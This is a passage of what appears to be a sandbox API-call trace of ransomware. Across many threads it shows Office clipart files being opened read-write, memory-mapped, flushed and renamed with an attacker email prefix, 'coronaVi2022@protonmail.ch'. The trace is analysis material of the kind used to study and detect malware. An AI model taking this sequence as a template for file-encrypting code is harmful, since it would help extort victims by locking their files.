	[0101.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382952.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382952.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xea0
	[0101.020] GetFileSizeEx (in: hFile=0xea0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=96073) returned 1
	[0101.021] CreateFileMappingA (hFile=0xea0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17751, lpName=0x0) returned 0xe94
	[0101.021] MapViewOfFile (hFileMappingObject=0xe94, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0101.042] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0101.043] CloseHandle (hObject=0xe94) returned 1
	[0101.043] GetCurrentThreadId () returned 0x1c40
	[0101.043] FlushFileBuffers (hFile=0xea0) returned 1
	[0101.048] CloseHandle (hObject=0xea0) returned 1
	[0101.049] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382952.jpg") returned 97
	[0101.049] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382952.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382952.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382952.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0382952.jpg")) returned 1
	[0101.049] free (_Block=0x51f5098) 
	[0101.049] RtlExitUserThread (Status=0x0) 

Thread:
	id = 763
	os_tid = 0x1c44

	[0101.044] _alloca_probe () returned 0x40328a
	[0101.045] GetCurrentThreadId () returned 0x1c44
	[0101.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382954.jpg", dwFileAttributes=0x80) returned 1
	[0101.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382954.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382954.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe88
	[0101.047] GetFileSizeEx (in: hFile=0xe88, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=88703) returned 1
	[0101.048] CreateFileMappingA (hFile=0xe88, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15a8d, lpName=0x0) returned 0xea4
	[0101.048] MapViewOfFile (hFileMappingObject=0xea4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0101.069] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0101.070] CloseHandle (hObject=0xea4) returned 1
	[0101.070] GetCurrentThreadId () returned 0x1c44
	[0101.070] FlushFileBuffers (hFile=0xe88) returned 1
	[0101.072] CloseHandle (hObject=0xe88) returned 1
	[0101.073] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382954.jpg") returned 97
	[0101.073] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382954.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382954.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382954.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0382954.jpg")) returned 1
	[0101.074] free (_Block=0x51f3088) 
	[0101.074] RtlExitUserThread (Status=0x0) 

Thread:
	id = 764
	os_tid = 0x1c48

	[0101.075] _alloca_probe () returned 0x40328a
	[0101.076] GetCurrentThreadId () returned 0x1c48
	[0101.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382955.jpg", dwFileAttributes=0x80) returned 1
	[0101.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382955.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382955.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xea4
	[0101.077] GetFileSizeEx (in: hFile=0xea4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=90095) returned 1
	[0101.077] CreateFileMappingA (hFile=0xea4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15ffd, lpName=0x0) returned 0xea0
	[0101.077] MapViewOfFile (hFileMappingObject=0xea0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0101.107] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0101.108] CloseHandle (hObject=0xea0) returned 1
	[0101.108] GetCurrentThreadId () returned 0x1c48
	[0101.108] FlushFileBuffers (hFile=0xea4) returned 1
	[0101.127] CloseHandle (hObject=0xea4) returned 1
	[0101.128] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382955.jpg") returned 97
	[0101.128] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382955.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382955.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382955.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0382955.jpg")) returned 1
	[0101.129] free (_Block=0x51f0070) 
	[0101.129] RtlExitUserThread (Status=0x0) 

Thread:
	id = 765
	os_tid = 0x1c4c

	[0101.086] _alloca_probe () returned 0x40328a
	[0101.086] GetCurrentThreadId () returned 0x1c4c
	[0101.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382957.jpg", dwFileAttributes=0x80) returned 1
	[0101.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382957.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382957.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xeac
	[0101.088] GetFileSizeEx (in: hFile=0xeac, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=109037) returned 1
	[0101.088] CreateFileMappingA (hFile=0xeac, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a9f9, lpName=0x0) returned 0xeb0
	[0101.088] MapViewOfFile (hFileMappingObject=0xeb0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2380000
	[0101.125] UnmapViewOfFile (lpBaseAddress=0x2380000) returned 1
	[0101.126] CloseHandle (hObject=0xeb0) returned 1
	[0101.127] GetCurrentThreadId () returned 0x1c4c
	[0101.127] FlushFileBuffers (hFile=0xeac) returned 1
	[0101.131] CloseHandle (hObject=0xeac) returned 1
	[0101.131] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382957.jpg") returned 97
	[0101.131] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382957.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382957.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382957.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0382957.jpg")) returned 1
	[0101.132] free (_Block=0x51f4090) 
	[0101.132] RtlExitUserThread (Status=0x0) 

Thread:
	id = 766
	os_tid = 0x1c50

	[0101.134] _alloca_probe () returned 0x40328a
	[0101.134] GetCurrentThreadId () returned 0x1c50
	[0101.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382958.jpg", dwFileAttributes=0x80) returned 1
	[0101.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382958.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382958.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xea4
	[0101.135] GetFileSizeEx (in: hFile=0xea4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=103399) returned 1
	[0101.135] CreateFileMappingA (hFile=0xea4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x193ed, lpName=0x0) returned 0xeb0
	[0101.135] MapViewOfFile (hFileMappingObject=0xeb0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0101.157] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0101.158] CloseHandle (hObject=0xeb0) returned 1
	[0101.158] GetCurrentThreadId () returned 0x1c50
	[0101.158] FlushFileBuffers (hFile=0xea4) returned 1
	[0101.160] CloseHandle (hObject=0xea4) returned 1
	[0101.160] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382958.jpg") returned 97
	[0101.161] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382958.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382958.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382958.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0382958.jpg")) returned 1
	[0101.162] free (_Block=0x51f3088) 
	[0101.162] RtlExitUserThread (Status=0x0) 

Thread:
	id = 767
	os_tid = 0x1c54

	[0101.164] _alloca_probe () returned 0x40328a
	[0101.164] GetCurrentThreadId () returned 0x1c54
	[0101.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382959.jpg", dwFileAttributes=0x80) returned 1
	[0101.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382959.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382959.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xeb0
	[0101.165] GetFileSizeEx (in: hFile=0xeb0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=85898) returned 1
	[0101.165] CreateFileMappingA (hFile=0xeb0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14f93, lpName=0x0) returned 0xea0
	[0101.165] MapViewOfFile (hFileMappingObject=0xea0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0101.184] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0101.185] CloseHandle (hObject=0xea0) returned 1
	[0101.185] GetCurrentThreadId () returned 0x1c54
	[0101.185] FlushFileBuffers (hFile=0xeb0) returned 1
	[0101.187] CloseHandle (hObject=0xeb0) returned 1
	[0101.187] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382959.jpg") returned 97
	[0101.187] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382959.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382959.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382959.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0382959.jpg")) returned 1
	[0101.188] free (_Block=0x51f4090) 
	[0101.188] RtlExitUserThread (Status=0x0) 

Thread:
	id = 768
	os_tid = 0x1c58

	[0101.191] _alloca_probe () returned 0x40328a
	[0101.191] GetCurrentThreadId () returned 0x1c58
	[0101.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382960.jpg", dwFileAttributes=0x80) returned 1
	[0101.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382960.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382960.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xea0
	[0101.192] GetFileSizeEx (in: hFile=0xea0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=107508) returned 1
	[0101.192] CreateFileMappingA (hFile=0xea0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a3f7, lpName=0x0) returned 0xeb4
	[0101.193] MapViewOfFile (hFileMappingObject=0xeb4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0101.219] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0101.220] CloseHandle (hObject=0xeb4) returned 1
	[0101.220] GetCurrentThreadId () returned 0x1c58
	[0101.220] FlushFileBuffers (hFile=0xea0) returned 1
	[0101.238] CloseHandle (hObject=0xea0) returned 1
	[0101.239] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382960.jpg") returned 97
	[0101.239] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382960.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382960.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382960.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0382960.jpg")) returned 1
	[0101.240] free (_Block=0x51f5098) 
	[0101.240] RtlExitUserThread (Status=0x0) 

Thread:
	id = 769
	os_tid = 0x1c5c

	[0101.208] _alloca_probe () returned 0x40328a
	[0101.208] GetCurrentThreadId () returned 0x1c5c
	[0101.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382961.jpg", dwFileAttributes=0x80) returned 1
	[0101.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382961.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382961.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xebc
	[0101.209] GetFileSizeEx (in: hFile=0xebc, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=101060) returned 1
	[0101.209] CreateFileMappingA (hFile=0xebc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18ac7, lpName=0x0) returned 0xec0
	[0101.209] MapViewOfFile (hFileMappingObject=0xec0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2380000
	[0101.248] UnmapViewOfFile (lpBaseAddress=0x2380000) returned 1
	[0101.249] CloseHandle (hObject=0xec0) returned 1
	[0101.249] GetCurrentThreadId () returned 0x1c5c
	[0101.249] FlushFileBuffers (hFile=0xebc) returned 1
	[0101.251] CloseHandle (hObject=0xebc) returned 1
	[0101.251] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382961.jpg") returned 97
	[0101.251] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382961.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382961.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382961.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0382961.jpg")) returned 1
	[0101.252] free (_Block=0x51f3088) 
	[0101.252] RtlExitUserThread (Status=0x0) 

Thread:
	id = 770
	os_tid = 0x1c60

	[0101.254] _alloca_probe () returned 0x40328a
	[0101.255] GetCurrentThreadId () returned 0x1c60
	[0101.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382962.jpg", dwFileAttributes=0x80) returned 1
	[0101.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382962.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382962.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xec0
	[0101.255] GetFileSizeEx (in: hFile=0xec0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=114423) returned 1
	[0101.255] CreateFileMappingA (hFile=0xec0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1befd, lpName=0x0) returned 0xea0
	[0101.255] MapViewOfFile (hFileMappingObject=0xea0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0101.282] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0101.283] CloseHandle (hObject=0xea0) returned 1
	[0101.283] GetCurrentThreadId () returned 0x1c60
	[0101.283] FlushFileBuffers (hFile=0xec0) returned 1
	[0101.298] CloseHandle (hObject=0xec0) returned 1
	[0101.299] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382962.jpg") returned 97
	[0101.299] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382962.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382962.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382962.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0382962.jpg")) returned 1
	[0101.300] free (_Block=0x51f60a0) 
	[0101.300] RtlExitUserThread (Status=0x0) 

Thread:
	id = 771
	os_tid = 0x1c64

	[0101.270] _alloca_probe () returned 0x40328a
	[0101.271] GetCurrentThreadId () returned 0x1c64
	[0101.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382963.jpg", dwFileAttributes=0x80) returned 1
	[0101.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382963.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382963.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xec4
	[0101.271] GetFileSizeEx (in: hFile=0xec4, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=97774) returned 1
	[0101.271] CreateFileMappingA (hFile=0xec4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17dfb, lpName=0x0) returned 0xec8
	[0101.272] MapViewOfFile (hFileMappingObject=0xec8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2380000
	[0101.307] UnmapViewOfFile (lpBaseAddress=0x2380000) returned 1
	[0101.308] CloseHandle (hObject=0xec8) returned 1
	[0101.308] GetCurrentThreadId () returned 0x1c64
	[0101.308] FlushFileBuffers (hFile=0xec4) returned 1
	[0101.312] CloseHandle (hObject=0xec4) returned 1
	[0101.312] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382963.jpg") returned 97
	[0101.312] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382963.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382963.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382963.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0382963.jpg")) returned 1
	[0101.313] free (_Block=0x51f0070) 
	[0101.313] RtlExitUserThread (Status=0x0) 

Thread:
	id = 772
	os_tid = 0x1c68

	[0101.316] _alloca_probe () returned 0x40328a
	[0101.316] GetCurrentThreadId () returned 0x1c68
	[0101.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382965.jpg", dwFileAttributes=0x80) returned 1
	[0101.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382965.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382965.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xec8
	[0101.317] GetFileSizeEx (in: hFile=0xec8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=113410) returned 1
	[0101.317] CreateFileMappingA (hFile=0xec8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1bb03, lpName=0x0) returned 0xec0
	[0101.317] MapViewOfFile (hFileMappingObject=0xec0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0101.344] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0101.345] CloseHandle (hObject=0xec0) returned 1
	[0101.345] GetCurrentThreadId () returned 0x1c68
	[0101.345] FlushFileBuffers (hFile=0xec8) returned 1
	[0101.361] CloseHandle (hObject=0xec8) returned 1
	[0101.361] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382965.jpg") returned 97
	[0101.361] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382965.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382965.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382965.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0382965.jpg")) returned 1
	[0101.362] free (_Block=0x51f3088) 
	[0101.362] RtlExitUserThread (Status=0x0) 

Thread:
	id = 773
	os_tid = 0x1c6c

	[0101.333] _alloca_probe () returned 0x40328a
	[0101.333] GetCurrentThreadId () returned 0x1c6c
	[0101.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382966.jpg", dwFileAttributes=0x80) returned 1
	[0101.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382966.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382966.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xecc
	[0101.334] GetFileSizeEx (in: hFile=0xecc, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=100488) returned 1
	[0101.334] CreateFileMappingA (hFile=0xecc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1888f, lpName=0x0) returned 0xed0
	[0101.334] MapViewOfFile (hFileMappingObject=0xed0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2380000
	[0101.370] UnmapViewOfFile (lpBaseAddress=0x2380000) returned 1
	[0101.371] CloseHandle (hObject=0xed0) returned 1
	[0101.371] GetCurrentThreadId () returned 0x1c6c
	[0101.371] FlushFileBuffers (hFile=0xecc) returned 1
	[0101.373] CloseHandle (hObject=0xecc) returned 1
	[0101.373] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382966.jpg") returned 97
	[0101.373] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382966.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382966.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382966.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0382966.jpg")) returned 1
	[0101.374] free (_Block=0x51f60a0) 
	[0101.374] RtlExitUserThread (Status=0x0) 

Thread:
	id = 774
	os_tid = 0x1c70

	[0101.376] _alloca_probe () returned 0x40328a
	[0101.377] GetCurrentThreadId () returned 0x1c70
	[0101.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382967.jpg", dwFileAttributes=0x80) returned 1
	[0101.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382967.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382967.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xed0
	[0101.378] GetFileSizeEx (in: hFile=0xed0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=93448) returned 1
	[0101.378] CreateFileMappingA (hFile=0xed0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16d0f, lpName=0x0) returned 0xec8
	[0101.378] MapViewOfFile (hFileMappingObject=0xec8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
